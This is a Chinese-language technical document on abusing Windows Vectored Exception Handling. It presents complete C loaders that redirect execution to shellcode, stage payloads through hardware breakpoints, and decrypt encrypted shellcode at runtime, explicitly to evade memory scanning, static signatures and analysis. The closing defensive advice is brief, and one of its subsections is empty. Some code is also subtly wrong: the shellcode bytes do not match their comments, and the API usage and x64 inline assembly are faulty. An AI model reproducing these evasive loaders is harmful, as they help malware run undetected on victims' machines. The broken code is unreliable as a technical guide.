Windows VEH机制深度利用技术文档

一、VEH机制概述

1.1 VEH基本概念

Windows Vectored Exception Handling(VEH)是一种系统级的异常处理机制，允许程序注册自定义的异常处理回调函数。与传统的SEH(Structured Exception Handling)相比，VEH具有以下特性：

• 全局优先级：在SEH之前被调用
• 动态注册：通过API动态管理
• 跨线程作用：处理进程中所有线程的异常
• 灵活性：可以注册多个处理函数并按顺序调用

1.2 关键API

// 添加向量化异常处理程序
PVOID AddVectoredExceptionHandler(
  ULONG First,                        // 1表示插入处理程序列表开头，0表示末尾
  PVECTORED_EXCEPTION_HANDLER Handler // 异常处理函数指针
);

// 移除向量化异常处理程序
ULONG RemoveVectoredExceptionHandler(
  PVOID Handle                        // AddVectoredExceptionHandler返回的句柄
);

二、基础VEH Shellcode执行技术

2.1 技术原理

通过触发异常并修改上下文，直接跳转到Shellcode执行。主要步骤：

1. 注册VEH处理函数
2. 分配可执行内存存放Shellcode
3. 故意触发异常（如访问违例）
4. 在VEH处理函数中修改RIP寄存器指向Shellcode
5. 异常处理完成后继续执行Shellcode

2.2 完整实现代码

#include <Windows.h>
#include <excpt.h>

BYTE shellcode[] = {
  0x48,0x83,0xEC,0x28, // sub rsp, 0x28
  0x48,0x31,0xC9,      // xor rcx, rcx
  0x48,0x31,0xD2,      // xor rdx, rdx
  0x49,0xB8,0x57,0x69,0x6E,0x45, // mov r8, 0x456E6957 ("WinE")
  0x78,0x69,0x74,0x00,0x41,0x50, // push r8
  0x48,0x8D,0x0C,0x24, // lea rcx, [rsp]
  0x48,0x31,0xD2,      // xor rdx, rdx
  0xFF,0x15,0x1A,0x00,0x00,0x00, // call MessageBoxA
  0x48,0x83,0xC4,0x28, // add rsp, 0x28
  0xC3                 // ret
};

LONG NTAPI VectoredHandler(PEXCEPTION_POINTERS pExc) {
  if (pExc->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
    // 修改RIP寄存器指向Shellcode
    pExc->ContextRecord->Rip = (DWORD_PTR)shellcode;
    return EXCEPTION_CONTINUE_EXECUTION;
  }
  return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
  // 注册VEH
  PVOID hHandler = AddVectoredExceptionHandler(1, VectoredHandler);
  
  // 分配可执行内存
  VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, NULL);
  
  // 触发访问违例
  volatile int* ptr = nullptr;
  *ptr = 0xDEADBEEF;
  
  // 清理
  RemoveVectoredExceptionHandler(hHandler);
  return 0;
}

2.3 技术要点

1. 使用EXCEPTION_ACCESS_VIOLATION触发异常
2. 修改CONTEXT.Rip劫持执行流
3. 必须设置Shellcode内存为可执行权限
4. 异常处理函数返回EXCEPTION_CONTINUE_EXECUTION表示已处理异常

三、内存断点触发执行技术

3.1 技术原理

通过设置硬件断点触发异常，在VEH回调中执行多阶段Shellcode：

1. 设置硬件调试寄存器(Dr0-Dr3)指向关键内存地址
2. 执行到该地址时触发STATUS_SINGLE_STEP异常
3. 在VEH处理函数中分阶段加载Shellcode
4. 动态修改后续断点位置实现多阶段执行

3.2 完整实现代码

#include <Windows.h>
#include <excpt.h>

BYTE stage1[] = {0x90,0x90,0xC3}; // NOP; NOP; RET
BYTE stage2[] = {0x48,0x31,0xC0,0xC3}; // xor rax,rax; ret

LONG NTAPI VectoredHandler(PEXCEPTION_POINTERS pExc) {
  if (pExc->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
    static int phase = 0;
    
    // 阶段切换
    if (phase == 0) {
      memcpy(stage1, stage2, sizeof(stage2));
      phase = 1;
    } else {
      ((void(*)())stage1)();
    }
    
    // 重置Dr0断点
    pExc->ContextRecord->Dr0 = (DWORD_PTR)stage1;
    pExc->ContextRecord->Dr7 = (1 << 0); // 启用Dr0
    return EXCEPTION_CONTINUE_EXECUTION;
  }
  return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
  PVOID hHandler = AddVectoredExceptionHandler(1, VectoredHandler);
  
  // 设置硬件断点
  CONTEXT ctx = {0};
  ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
  ctx.Dr0 = (DWORD_PTR)stage1;
  ctx.Dr7 = (1 << 0); // 执行时触发
  
  SetThreadContext(GetCurrentThread(), &ctx);
  
  // 触发断点
  ((void(*)())stage1)();
  
  RemoveVectoredExceptionHandler(hHandler);
  return 0;
}

3.3 技术优势

1. 使用硬件断点触发异常，比软件断点更隐蔽
2. 分阶段加载Shellcode，避免一次性加载全部恶意代码
3. 无连续可疑内存区域，规避内存扫描
4. 动态修改执行路径，增加分析难度

四、内存解密执行技术

4.1 技术原理

在VEH回调中动态解密加密的Shellcode，规避静态扫描：

1. 将Shellcode使用加密算法(如AES)加密存储
2. 通过触发异常(如非法指令)进入VEH处理函数
3. 在VEH处理函数中使用CryptoAPI解密Shellcode
4. 设置内存可执行权限并跳转到解密后的代码

4.2 完整实现代码

#include <Windows.h>
#include <excpt.h>
#include <wincrypt.h>

#pragma comment(lib, "crypt32.lib")

BYTE encrypted_sc[] = {0xAA,0xBB,0xCC}; // AES加密后的Shellcode
const BYTE aes_key[] = "secret_key_123456";

LONG NTAPI VectoredHandler(PEXCEPTION_POINTERS pExc) {
  if (pExc->ExceptionRecord->ExceptionCode == EXCEPTION_ILLEGAL_INSTRUCTION) {
    // 解密Shellcode
    HCRYPTPROV hProv;
    HCRYPTKEY hKey;
    CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    CryptImportKey(hProv, aes_key, sizeof(aes_key), 0, 0, &hKey);
    
    DWORD len = sizeof(encrypted_sc);
    CryptDecrypt(hKey, 0, TRUE, 0, encrypted_sc, &len);
    
    // 设置可执行权限
    DWORD oldProtect;
    VirtualProtect(encrypted_sc, len, PAGE_EXECUTE_READ, &oldProtect);
    
    // 跳转执行
    pExc->ContextRecord->Rip = (DWORD_PTR)encrypted_sc;
    return EXCEPTION_CONTINUE_EXECUTION;
  }
  return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
  PVOID hHandler = AddVectoredExceptionHandler(1, VectoredHandler);
  
  // 触发异常
  __asm { ud2 } // 生成无效指令异常
  
  RemoveVectoredExceptionHandler(hHandler);
  return 0;
}

4.3 技术要点

1. 使用EXCEPTION_ILLEGAL_INSTRUCTION触发异常
2. 运行时解密加密的Shellcode，避免静态特征
3. 结合Windows CryptoAPI实现加密解密
4. 动态设置内存权限，最小化暴露时间

五、防御与检测方案

5.1 检测技术

5.2 防护建议

1. 启用受控文件夹访问

   Set-MpPreference -EnableControlledFolderAccess Enabled
   

2. 监控异常处理注册

   New-EventLog -LogName Security -Source "VEHMonitor"
   Write-EventLog -LogName Security -Source "VEHMonitor" -EventId 6001 `
     -Message "检测到异常VEH注册: 进程 $pid"
   

3. 实施行为监控

   • 监控异常频率和模式
   • 检测异常处理函数中的敏感操作
   • 限制非必要进程的VEH注册能力

六、技术演进方向

6.1 多阶段混淆

// 分阶段触发不同异常
void Phase1() { 
  __try { *(int*)0 = 0; } 
  __except(1) {} 
}

void Phase2() { 
  __debugbreak(); 
}

6.2 结合硬件特性

; 使用Intel MPX触发边界异常
bndmov [rsp], bnd0

6.3 AI驱动触发

# 动态选择最佳触发时机
if model.predict(current_state) > threshold:
    trigger_exception()

七、法律声明

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